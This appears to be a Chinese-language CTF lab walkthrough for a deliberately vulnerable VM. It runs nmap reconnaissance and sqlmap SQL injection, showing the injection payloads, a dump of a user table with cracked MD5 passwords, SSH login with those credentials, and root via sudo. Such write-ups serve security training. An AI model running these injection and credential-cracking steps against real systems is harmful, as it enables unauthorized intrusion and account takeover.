主机发现
使用命令：
netdiscove
┌──(root💀kali)-[~]
└─# netdiscover
得出目标主机ip地址为： 1.1.2.150
端口扫描
使用命令：
nmap -A -v -sS -sV -p- 1.1.2.150
┌──(root💀kali)-[~]
└─# nmap -A -v -sS -sV -p- 1.1.2.150
127 ⨯
Starting Nmap 7.91 ( https://nmap.org ) at 2021-04-07 09:26 CST
NSE: Loaded 153 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 09:26
Completed NSE at 09:26, 0.00s elapsed
Initiating NSE at 09:26
Completed NSE at 09:26, 0.00s elapsed
Initiating NSE at 09:26
Completed NSE at 09:26, 0.00s elapsed
Initiating ARP Ping Scan at 09:26
Scanning 1.1.2.150 [1 port]
Completed ARP Ping Scan at 09:26, 0.05s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 09:26
Completed Parallel DNS resolution of 1 host. at 09:26, 0.02s elapsed
Initiating SYN Stealth Scan at 09:26
Scanning 1.1.2.150 [65535 ports]
Discovered open port 25/tcp on 1.1.2.150
Discovered open port 22/tcp on 1.1.2.150
Discovered open port 80/tcp on 1.1.2.150
参数说明：
-A:详细扫描目标IP，加载所有脚本，尽可能地全面地探测信息。
-v：显示详细的扫描过程。
-sS：TCP SYN 扫描。
-sV：探测开放。
-p-：扫描全部端口。
扫描得出目标开放了端口：22（SSH服务），25（SMTO服务），80（HTTP服务）。
漏洞挖掘
对页面进行测试发现单引号报错
image.png
使用以下命令爆出表名：
sqlmap -u http://1.1.2.150/index.html\?page\=blog\&title\=Blog\&id\=2 --tables
┌──(root💀kali)-[~]
└─# sqlmap -u http://1.1.2.150/index.html\?page\=blog\&title\=Blog\&id\=2 --tables
Database: ehks
[3 tables]
+---------------------------------------+
| user |
| blog |
| comment |
+---------------------------------------+
使用以下命令爆出字段：
sqlmap -u http://1.1.2.150/index.html\?page\=blog\&title\=Blog\&id\=2 -D ehks --tables -T user --columns
┌──(root💀kali)-[~]
└─# sqlmap -u http://1.1.2.150/index.html\?page\=blog\&title\=Blog\&id\=2 -D ehks --tables -T user --columns
[08:20:15] [INFO] fetching columns for table 'user' in database 'ehks'
Database: ehks
Table: user
[3 columns]
+-----------+-------------+
| Column | Type |
+-----------+-------------+
| user_id | int(11) |
| user_name | varchar(20) |
| user_pass | varchar(32) |
+-----------+-------------+
使用以下命令爆出密码等数据：
sqlmap -u http://1.1.2.150/index.html\?page\=blog\&title\=Blog\&id\=2 -D ehks --tables -T user --columns -C user_name,user_pass --dump
___
__H__
___ ___[)]_____ ___ ___ {1.4.11#stable}
|_ -| . [.] | .'| . |
|___|_ [.]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 08:35:50 /2021-04-07/
[08:35:50] [INFO] resuming back-end DBMS 'mysql'
[08:35:50] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: page=blog&title=Blog&id=2 AND 1944=1944
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: page=blog&title=Blog&id=2 AND (SELECT 6440 FROM (SELECT(SLEEP(5)))ntAT)
Type: UNION query
Title: Generic UNION query (NULL) - 5 columns
Payload: page=blog&title=Blog&id=2 UNION ALL SELECT NULL,NULL,CONCAT(0x7170786a71,0x57704a764f7569574244654e6b65534a547a46427470666a76667a744d44646e424e425548634745,0x716b706b71),NULL,NULL-- -
---
[08:35:50] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
[08:35:50] [INFO] fetching tables for database: 'ehks'
Database: ehks
[3 tables]
+---------+
| user |
| blog |
| comment |
+---------+
[08:35:50] [INFO] fetching columns 'user_name, user_pass' for table 'user' in database 'ehks'
Database: ehks
Table: user
[2 columns]
+-----------+-------------+
| Column | Type |
+-----------+-------------+
| user_name | varchar(20) |
| user_pass | varchar(32) |
+-----------+-------------+
[08:35:50] [INFO] fetching entries of column(s) 'user_name,user_pass' for table 'user' in database 'ehks'
[08:35:50] [INFO] recognized possible password hashes in column 'user_pass'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] y
[08:36:01] [INFO] writing hashes to a temporary file '/tmp/sqlmapl0y6hvjq1955/sqlmaphashes-llvl1jy9.txt'
do you want to crack them via a dictionary-based attack? [Y/n/q] y
[08:36:06] [INFO] using hash method 'md5_generic_passwd'
[08:36:06] [INFO] resuming password 'ilike2surf' for hash '02e823a15a392b5aa4ff4ccb9060fa68' for user 'dstevens'
[08:36:06] [INFO] resuming password 'seventysixers' for hash 'b46265f1e7faa3beab09db5c28739380' for user 'achen'
[08:36:06] [INFO] resuming password 'Homesite' for hash '8f4743c04ed8e5f39166a81f26319bb5' for user 'pmoore'
[08:36:06] [INFO] resuming password 'Sue1978' for hash '7c7bc9f465d86b8164686ebb5151a717' for user 'jdurbin'
[08:36:06] [INFO] resuming password 'pacman' for hash '64d1f88b9b276aece4b0edcc25b7a434' for user 'sorzek'
[08:36:06] [INFO] resuming password 'undone1' for hash '9f3eb3087298ff21843cc4e013cf355f' for user 'ghighland'
Database: ehks
Table: user
[6 entries]
+-----------+--------------------------------------------------+
| user_name | user_pass |
+-----------+--------------------------------------------------+
| dstevens | 02e823a15a392b5aa4ff4ccb9060fa68 (ilike2surf) |
| achen | b46265f1e7faa3beab09db5c28739380 (seventysixers) |
| pmoore | 8f4743c04ed8e5f39166a81f26319bb5 (Homesite) |
| jdurbin | 7c7bc9f465d86b8164686ebb5151a717 (Sue1978) |
| sorzek | 64d1f88b9b276aece4b0edcc25b7a434 (pacman) |
| ghighland | 9f3eb3087298ff21843cc4e013cf355f (undone1) |
+-----------+--------------------------------------------------+
[08:36:06] [INFO] table 'ehks.`user`' dumped to CSV file '/root/.local/share/sqlmap/output/1.1.2.150/dump/ehks/user.csv'
[08:36:06] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/1.1.2.150'
[*] ending @ 08:36:06 /2021-04-07/
SSH利用
尝试使用获取到的账号登录SSH，报错！
line 53: Bad configuration option: permitrootlogi
┌──(root💀kali)-[~]
└─# ssh achen:seventysixers@1.1.2.150
/etc/ssh/ssh_config: line 53: Bad configuration option: permitrootlogin
/etc/ssh/ssh_config: terminating, 1 bad configuration options
修改ssh_config文件，禁止root远程登录。
┌──(root💀kali)-[~]
└─# vi /etc/ssh/ssh_config
# PermitRootLogin yes
再次尝试ssh登录失败，报如下错误：
Unable to negotiate with 1.1.2.150 port 22: no matching key exchange method found. Their offer: diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1
┌──(root💀kali)-[~]
└─# ssh dstenvens@1.1.2.150
Unable to negotiate with 1.1.2.150 port 22: no matching key exchange method found. Their offer: diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1
┌──(root💀kali)-[~]
└─# ssh achen@1.1.2.150 255 ⨯
Unable to negotiate with 1.1.2.150 port 22: no matching key exchange method found. Their offer: diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1
添加.ssh/config文件并修改其内容：
┌──(root💀kali)-[~]
└─# vi .ssh/config
Host 1.1.2.150
KexAlgorithms +diffie-hellman-group1-sha1
# 注意：Host 为CTF4服务器的ip地址
# +diffie前有空格
再次尝试使用获取到的账号登录SSH，成功登录
┌──(root💀kali)-[~]
└─# ssh achen@1.1.2.150
The authenticity of host '1.1.2.150 (1.1.2.150)' can't be established.
RSA key fingerprint is SHA256:NDWh6/414mOsW4P7K6ICc5R67PrX87ADMFUx9DK9ftk.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '1.1.2.150' (RSA) to the list of known hosts.
BSD SSH 4.1
achen@1.1.2.150's password:
Last login: Tue Mar 10 12:45:06 2009
[achen@ctf4 ~]$ whoami
achen
权限提升
使用sudo命令进行提权
[achen@ctf4 ~]$ sudo su
[root@ctf4 achen]#
[root@ctf4 achen]# netstat -pantu | grep 22
tcp 0 0 0.0.0.0:25 0.0.0.0:* LISTEN 2422/sendmail: acce
tcp 0 0 :::22 :::* LISTEN 2283/sshd
tcp 0 0 ::ffff:1.1.2.150:22 ::ffff:1.1.2.129:47108 ESTABLISHED 3881/sshd: achen [p
使用sudo -l查看当前用户权限
[root@ctf4 achen]# sudo -l
User achen may run the following commands on this host:
(ALL) ALL
成功提权
网友评论